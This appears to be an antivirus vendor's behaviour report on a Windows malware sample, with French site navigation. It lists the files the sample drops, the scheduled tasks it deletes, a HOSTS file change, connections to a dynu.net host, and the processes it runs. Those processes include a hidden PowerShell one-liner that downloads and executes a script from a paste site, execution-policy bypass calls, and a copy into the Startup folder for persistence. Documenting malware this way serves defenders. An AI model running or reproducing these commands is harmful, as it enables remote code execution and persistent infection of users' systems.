%ALLUSERSPROFILE%\temp\system\audio\ts_audioservice.ps1
%ALLUSERSPROFILE%\temp\system\audio\ts_audioserviceresponse.ps1
%ALLUSERSPROFILE%\temp\system\audio\ts_disabledincpl.ps1
%ALLUSERSPROFILE%\temp\system\audio\ts_hdaudiodriver.ps1
%ALLUSERSPROFILE%\temp\system\audio\ts_lowvolume.ps1
%ALLUSERSPROFILE%\temp\system\audio\ts_mute.ps1
%ALLUSERSPROFILE%\temp\system\audio\ts_notdefault.ps1
%ALLUSERSPROFILE%\temp\system\audio\ts_samplingrate.ps1
%ALLUSERSPROFILE%\temp\system\audio\ts_unpluggedin.ps1
%ALLUSERSPROFILE%\temp\system\audio\vf_hdaudiodriver.ps1
%ALLUSERSPROFILE%\temp\system\audio\vf_lowvolume.ps1
%ALLUSERSPROFILE%\temp\system\bits\cl_registry.ps1
%ALLUSERSPROFILE%\temp\system\bits\cl_service.ps1
%ALLUSERSPROFILE%\temp\system\bits\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\bits\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\bits\rc_bitsacl.ps1
%ALLUSERSPROFILE%\temp\system\bits\rc_bitsdll.ps1
%ALLUSERSPROFILE%\temp\system\bits\rc_bitsregkeys.ps1
%ALLUSERSPROFILE%\temp\system\bits\rs_bitsacl.ps1
%ALLUSERSPROFILE%\temp\system\bits\rs_bitsdll.ps1
%ALLUSERSPROFILE%\temp\system\bits\rs_bitsregkeys.ps1
%ALLUSERSPROFILE%\temp\system\bits\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\bits\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\bits\ts_main.ps1
%ALLUSERSPROFILE%\temp\system\bluetooth\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\bluetooth\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\bluetooth\rc_btradiooff.ps1
%ALLUSERSPROFILE%\temp\system\bluetooth\rc_checkbt.ps1
%ALLUSERSPROFILE%\temp\system\bluetooth\rc_disabled.ps1
%ALLUSERSPROFILE%\temp\system\bluetooth\rc_driverproblem.ps1
%ALLUSERSPROFILE%\temp\system\bluetooth\rc_otherissue.ps1
%ALLUSERSPROFILE%\temp\system\bluetooth\rc_pendingrestart.ps1
%ALLUSERSPROFILE%\temp\system\bluetooth\rs_btradiooff.ps1
%ALLUSERSPROFILE%\temp\system\bluetooth\rs_checkbt.ps1
%ALLUSERSPROFILE%\temp\system\bluetooth\rs_disabled.ps1
%ALLUSERSPROFILE%\temp\system\bluetooth\rs_driverproblem.ps1
%ALLUSERSPROFILE%\temp\system\bluetooth\rs_otherissue.ps1
%ALLUSERSPROFILE%\temp\system\bluetooth\rs_pendingrestart.ps1
%ALLUSERSPROFILE%\temp\system\bluetooth\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\bluetooth\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\bluetooth\ts_main.ps1
%ALLUSERSPROFILE%\temp\system\bluetooth\vf_btradiooff.ps1
%ALLUSERSPROFILE%\temp\system\device\cl_detectingdevice.ps1
%ALLUSERSPROFILE%\temp\system\device\cl_utility.ps1
%ALLUSERSPROFILE%\temp\system\device\db_deviceerrorlibrary.ps1
%ALLUSERSPROFILE%\temp\system\device\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\device\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\device\rs_checkdriversoninstall.ps1
%ALLUSERSPROFILE%\temp\system\device\rs_devicedriverneedsupdate.ps1
%ALLUSERSPROFILE%\temp\system\device\rs_drivernotfound.ps1
%ALLUSERSPROFILE%\temp\system\device\rs_enabledevice.ps1
%ALLUSERSPROFILE%\temp\system\device\rs_informcustomer.ps1
%ALLUSERSPROFILE%\temp\system\device\rs_pendingrestart.ps1
%ALLUSERSPROFILE%\temp\system\device\rs_rescanalldevices.ps1
%ALLUSERSPROFILE%\temp\system\device\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\device\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\device\ts_checkdriversoninstall.ps1
%ALLUSERSPROFILE%\temp\system\device\ts_devicedisabled.ps1
%ALLUSERSPROFILE%\temp\system\device\ts_devicedriverneedsupdate.ps1
%ALLUSERSPROFILE%\temp\system\device\ts_drivernotfound.ps1
%ALLUSERSPROFILE%\temp\system\device\ts_hardwaredevicemain.ps1
%ALLUSERSPROFILE%\temp\system\device\ts_informcustomer.ps1
%ALLUSERSPROFILE%\temp\system\device\ts_notworkingproperly.ps1
%ALLUSERSPROFILE%\temp\system\device\ts_pendingrestart.ps1
%ALLUSERSPROFILE%\temp\system\device\ts_rescanalldevices.ps1
%ALLUSERSPROFILE%\temp\system\device\vf_rescanalldevices.ps1
%ALLUSERSPROFILE%\temp\system\devicecenter\cl_utility.ps1
%ALLUSERSPROFILE%\temp\system\devicecenter\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\devicecenter\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\devicecenter\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\devicecenter\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\devicecenter\ts_devicecenter.ps1
%ALLUSERSPROFILE%\temp\system\iebrowseweb\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\iebrowseweb\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\iebrowseweb\rs_disableaddon.ps1
%ALLUSERSPROFILE%\temp\system\iebrowseweb\rs_disableaddonloadingtime.ps1
%ALLUSERSPROFILE%\temp\system\iebrowseweb\rs_resetcachesize.ps1
%ALLUSERSPROFILE%\temp\system\iebrowseweb\rs_resetpagesyncpolicy.ps1
%ALLUSERSPROFILE%\temp\system\iebrowseweb\rs_restoreieconnection.ps1
%ALLUSERSPROFILE%\temp\system\iebrowseweb\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\iebrowseweb\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\iebrowseweb\ts_ieaddon.ps1
%ALLUSERSPROFILE%\temp\system\iebrowseweb\ts_ieaddonloadingtime.ps1
%ALLUSERSPROFILE%\temp\system\iebrowseweb\ts_ieconnection.ps1
%ALLUSERSPROFILE%\temp\system\iebrowseweb\ts_pagesyncpolicy.ps1
%ALLUSERSPROFILE%\temp\system\iebrowseweb\ts_tempfilecachesize.ps1
%ALLUSERSPROFILE%\temp\system\iebrowseweb\vf_iedefectiveaddon.ps1
%ALLUSERSPROFILE%\temp\system\iesecurity\iesecurity_troubleshooter.ps1
%ALLUSERSPROFILE%\temp\system\iesecurity\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\iesecurity\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\iesecurity\rs_blockpopups.ps1
%ALLUSERSPROFILE%\temp\system\iesecurity\rs_iesecuritylevels.ps1
%ALLUSERSPROFILE%\temp\system\iesecurity\rs_phishingfilter.ps1
%ALLUSERSPROFILE%\temp\system\iesecurity\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\iesecurity\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\iesecurity\ts_blockpopups.ps1
%ALLUSERSPROFILE%\temp\system\iesecurity\ts_iesecuritylevels.ps1
%ALLUSERSPROFILE%\temp\system\iesecurity\ts_phishingfilter.ps1
%ALLUSERSPROFILE%\temp\system\keyboard\cl_cicero.ps1
%ALLUSERSPROFILE%\temp\system\keyboard\cl_telemetry.ps1
%ALLUSERSPROFILE%\temp\system\keyboard\keyboarddiagnostic.ps1
%ALLUSERSPROFILE%\temp\system\keyboard\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\keyboard\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\keyboard\rs_cicero.ps1
%ALLUSERSPROFILE%\temp\system\keyboard\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\keyboard\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\keyboard\ts_cicero.ps1
%ALLUSERSPROFILE%\temp\system\networking\htinteractiveres.ps1
%ALLUSERSPROFILE%\temp\system\networking\interactiveres.ps1
%ALLUSERSPROFILE%\temp\system\networking\networkdiagnosticsnapin.dll
%ALLUSERSPROFILE%\temp\system\networking\networkdiagnosticsresolve.ps1
%ALLUSERSPROFILE%\temp\system\networking\networkdiagnosticstroubleshoot.ps1
%ALLUSERSPROFILE%\temp\system\networking\networkdiagnosticsverify.ps1
%ALLUSERSPROFILE%\temp\system\networking\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\networking\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\networking\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\networking\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\networking\startdpsservice.ps1
%ALLUSERSPROFILE%\temp\system\networking\utilityfunctions.ps1
%ALLUSERSPROFILE%\temp\system\networking\utilitysetconstants.ps1
%ALLUSERSPROFILE%\temp\system\pcw\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\pcw\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\pcw\rs_programcompatibilitywizard.ps1
%ALLUSERSPROFILE%\temp\system\pcw\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\pcw\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\pcw\ts_programcompatibilitywizard.ps1
%ALLUSERSPROFILE%\temp\system\pcw\vf_programcompatibilitywizard.ps1
%ALLUSERSPROFILE%\temp\system\power\power_troubleshooter.ps1
%ALLUSERSPROFILE%\temp\system\power\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\power\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\power\rs_adjustdimdisplay.ps1
%ALLUSERSPROFILE%\temp\system\power\rs_adjustscreenbrightness.ps1
%ALLUSERSPROFILE%\temp\system\power\rs_adjustwirelessadaptersettings.ps1
%ALLUSERSPROFILE%\temp\system\power\rs_balanced.ps1
%ALLUSERSPROFILE%\temp\system\power\rs_changeprocessorstate.ps1
%ALLUSERSPROFILE%\temp\system\power\rs_disablescreensaver.ps1
%ALLUSERSPROFILE%\temp\system\power\rs_disableusbselective.ps1
%ALLUSERSPROFILE%\temp\system\power\rs_resetdisplayidletimeout.ps1
%ALLUSERSPROFILE%\temp\system\power\rs_resetidledisktimeout.ps1
%ALLUSERSPROFILE%\temp\system\power\rs_resetidlesleepsetting.ps1
%ALLUSERSPROFILE%\temp\system\power\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\power\ts_balanced.ps1
%ALLUSERSPROFILE%\temp\system\power\ts_dimdisplay.ps1
%ALLUSERSPROFILE%\temp\system\power\ts_displayidletimeout.ps1
%ALLUSERSPROFILE%\temp\system\power\ts_idledisktimeout.ps1
%ALLUSERSPROFILE%\temp\system\power\ts_idlesleepsetting.ps1
%ALLUSERSPROFILE%\temp\system\power\ts_minprocessorstate.ps1
%ALLUSERSPROFILE%\temp\system\power\ts_screenbrightness.ps1
%ALLUSERSPROFILE%\temp\system\power\ts_screensaver.ps1
%ALLUSERSPROFILE%\temp\system\power\ts_usbselective.ps1
%ALLUSERSPROFILE%\temp\system\power\ts_wirelessadaptersettings.ps1
%ALLUSERSPROFILE%\temp\system\printer\mf_printerdiagnostic.ps1
%ALLUSERSPROFILE%\temp\system\printer\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\printer\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\printer\rs_cancelalljobs.ps1
%ALLUSERSPROFILE%\temp\system\printer\rs_deleteprintjobs.ps1
%ALLUSERSPROFILE%\temp\system\printer\rs_noprinterinstalled.ps1
%ALLUSERSPROFILE%\temp\system\printer\rs_printerdriver.ps1
%ALLUSERSPROFILE%\temp\system\printer\rs_printerturnedoff.ps1
%ALLUSERSPROFILE%\temp\system\printer\rs_processprinterjobs.ps1
%ALLUSERSPROFILE%\temp\system\printer\rs_restartspoolerservice.ps1
%ALLUSERSPROFILE%\temp\system\printer\rs_setspoolerstartmode.ps1
%ALLUSERSPROFILE%\temp\system\printer\rs_spoolercrashing.ps1
%ALLUSERSPROFILE%\temp\system\printer\rs_startspoolerservice.ps1
%ALLUSERSPROFILE%\temp\system\printer\rs_wrongdefaultprinter.ps1
%ALLUSERSPROFILE%\temp\system\printer\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\printer\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\printer\ts_cannotconnect.ps1
%ALLUSERSPROFILE%\temp\system\printer\ts_defaultprinter.ps1
%ALLUSERSPROFILE%\temp\system\printer\ts_noprinterinstalled.ps1
%ALLUSERSPROFILE%\temp\system\printer\ts_outofpaper.ps1
%ALLUSERSPROFILE%\temp\system\printer\ts_outoftoner.ps1
%ALLUSERSPROFILE%\temp\system\printer\ts_paperjam.ps1
%ALLUSERSPROFILE%\temp\system\printer\ts_printerdriver.ps1
%ALLUSERSPROFILE%\temp\system\printer\ts_printerdrivererror.ps1
%ALLUSERSPROFILE%\temp\system\printer\ts_printerturnedoff.ps1
%ALLUSERSPROFILE%\temp\system\printer\ts_printjobsstuck.ps1
%ALLUSERSPROFILE%\temp\system\printer\ts_setspoolermode.ps1
%ALLUSERSPROFILE%\temp\system\printer\ts_spoolercrashing.ps1
%ALLUSERSPROFILE%\temp\system\printer\ts_spoolerservice.ps1
%ALLUSERSPROFILE%\temp\system\printer\vf_printerturnedoff.ps1
%ALLUSERSPROFILE%\temp\system\search\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\search\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\search\rs_resetwindowssearchapp.ps1
%ALLUSERSPROFILE%\temp\system\search\rs_restoredefaults.ps1
%ALLUSERSPROFILE%\temp\system\search\rs_restorepermissions.ps1
%ALLUSERSPROFILE%\temp\system\search\rs_startindexingservice.ps1
%ALLUSERSPROFILE%\temp\system\search\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\search\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\search\ts_checkpermissions.ps1
%ALLUSERSPROFILE%\temp\system\search\ts_filterhostcrashing.ps1
%ALLUSERSPROFILE%\temp\system\search\ts_forcedshutdowninrecovery.ps1
%ALLUSERSPROFILE%\temp\system\search\ts_forcedshutdownnocorruption.ps1
%ALLUSERSPROFILE%\temp\system\search\ts_indexingservice.ps1
%ALLUSERSPROFILE%\temp\system\search\ts_indexingservicecrashing.ps1
%ALLUSERSPROFILE%\temp\system\search\ts_protocolhostcrashing.ps1
%ALLUSERSPROFILE%\temp\system\search\ts_searchapp.ps1
%ALLUSERSPROFILE%\temp\system\speech\mf_speechdiagnostic.ps1
%ALLUSERSPROFILE%\temp\system\speech\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\speech\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\speech\rs_calibrationrequired.ps1
%ALLUSERSPROFILE%\temp\system\speech\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\speech\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\speech\vf_calibrationrequired.ps1
%ALLUSERSPROFILE%\temp\system\video\graphicsdriverregtool-definitions.psm1
%ALLUSERSPROFILE%\temp\system\video\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\video\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\video\rc_aud_reg_settings.ps1
%ALLUSERSPROFILE%\temp\system\video\rc_viddrv_displaytopology.ps1
%ALLUSERSPROFILE%\temp\system\video\rc_viddrv_driverblocklist.ps1
%ALLUSERSPROFILE%\temp\system\video\rc_viddrv_hevccodeccheck.ps1
%ALLUSERSPROFILE%\temp\system\video\rc_viddrv_hwdrmcheck.ps1
%ALLUSERSPROFILE%\temp\system\video\rc_viddrv_msvideo.ps1
%ALLUSERSPROFILE%\temp\system\video\rc_viddrv_unsigned.ps1
%ALLUSERSPROFILE%\temp\system\video\rs_aud_reg_settings.ps1
%ALLUSERSPROFILE%\temp\system\video\rs_viddrv_displaytopology.ps1
%ALLUSERSPROFILE%\temp\system\video\rs_viddrv_genericfailure.ps1
%ALLUSERSPROFILE%\temp\system\video\rs_viddrv_hevccodeccheck.ps1
%ALLUSERSPROFILE%\temp\system\video\rs_viddrv_hwdrmcheck.ps1
%ALLUSERSPROFILE%\temp\system\video\rs_viddrv_msvideo.ps1
%ALLUSERSPROFILE%\temp\system\video\rs_viddrv_unsigned.ps1
%ALLUSERSPROFILE%\temp\system\video\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\temp\system\video\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\temp\system\video\ts_main.ps1
%ALLUSERSPROFILE%\temp\system\video\vf_aud_reg_settings.ps1
%ALLUSERSPROFILE%\temp\system\video\vf_viddrv_driverblocklist.ps1
%ALLUSERSPROFILE%\temp\system\video\vf_viddrv_msvideo.ps1
%ALLUSERSPROFILE%\temp\system\video\vf_viddrv_unsigned.ps1

Deletes the following system files

<SYSTEM32>\tasks\adobe acrobat update task
<SYSTEM32>\tasks\opera scheduled autoupdate 1723426318

Modifies the HOSTS file.

Network activity

Connects to

'tr####4100.dynu.net':7776
'tr####4100.dynu.net':55

UDP

DNS ASK tr####4100.dynu.net

Miscellaneous

Searches for the following windows

ClassName: 'Edit' WindowName: ''
ClassName: '18467-41' WindowName: ''

Creates and executes the following

'%ALLUSERSPROFILE%\pmas_v10.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -windo 1 -noexit -exec bypass -file C:\Users\Public\Settings\A\News\win.ps1
'<SYSTEM32>\wscript.exe' "%ALLUSERSPROFILE%\temp\system\Power\Prefetch\fix.js"
'<SYSTEM32>\wscript.exe' "%ALLUSERSPROFILE%\temp\scheduled\Maintenance\Resources\Licenses\setup\pmasfix.vbs"
'%WINDIR%\syswow64\cscript.exe' /e:jscript "%ALLUSERSPROFILE%\temp\system\Power\Prefetch\fix.js"

Executes the following

'<SYSTEM32>\cmd.exe' /c powershell -windo 1 -noexit -exec bypass -file C:\Users\Public\Settings\A\News\win.ps1
'<SYSTEM32>\spoolsv.exe'
'<SYSTEM32>\wscript.exe' "%ALLUSERSPROFILE%\Adobe\AIR\Logs\gp\PerfLogs\Google\start\Pmas.js"
'%WINDIR%\syswow64\cscript.exe' /e:jscript "%ALLUSERSPROFILE%\Adobe\AIR\Logs\gp\PerfLogs\Google\start\Pmas.js"
'%WINDIR%\syswow64\xcopy.exe' "%ALLUSERSPROFILE%\Adobe\AIR\Logs\gp\PerfLogs\Google\start\Pmas.js" "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\Pmas.js*"
'<SYSTEM32>\cmd.exe' /c powershell -windo 1 -noexit -exec bypass -file C:\Users\Public\Settings\A\News\win.ps1' (with hidden window)
'%WINDIR%\syswow64\cscript.exe' /e:jscript "%ALLUSERSPROFILE%\temp\system\Power\Prefetch\fix.js"' (with hidden window)
'%WINDIR%\syswow64\cscript.exe' /e:jscript "%ALLUSERSPROFILE%\Adobe\AIR\Logs\gp\PerfLogs\Google\start\Pmas.js"' (with hidden window)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -noexit -comma Invoke-Expression(New-Object Net.WebClient).DowNloAdSTRiNg.Invoke('https://upaste.me/r/664f6025415740809')"' (with hidden window)
'%WINDIR%\syswow64\xcopy.exe' "%ALLUSERSPROFILE%\Adobe\AIR\Logs\gp\PerfLogs\Google\start\Pmas.js" "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\Pmas.js*"' (with hidden window)

TECHNOLOGIES

TERMINOLOGIE

COURS ET EDU

MYTHES

Technical Information

Recommandations pour le traitement

Free trial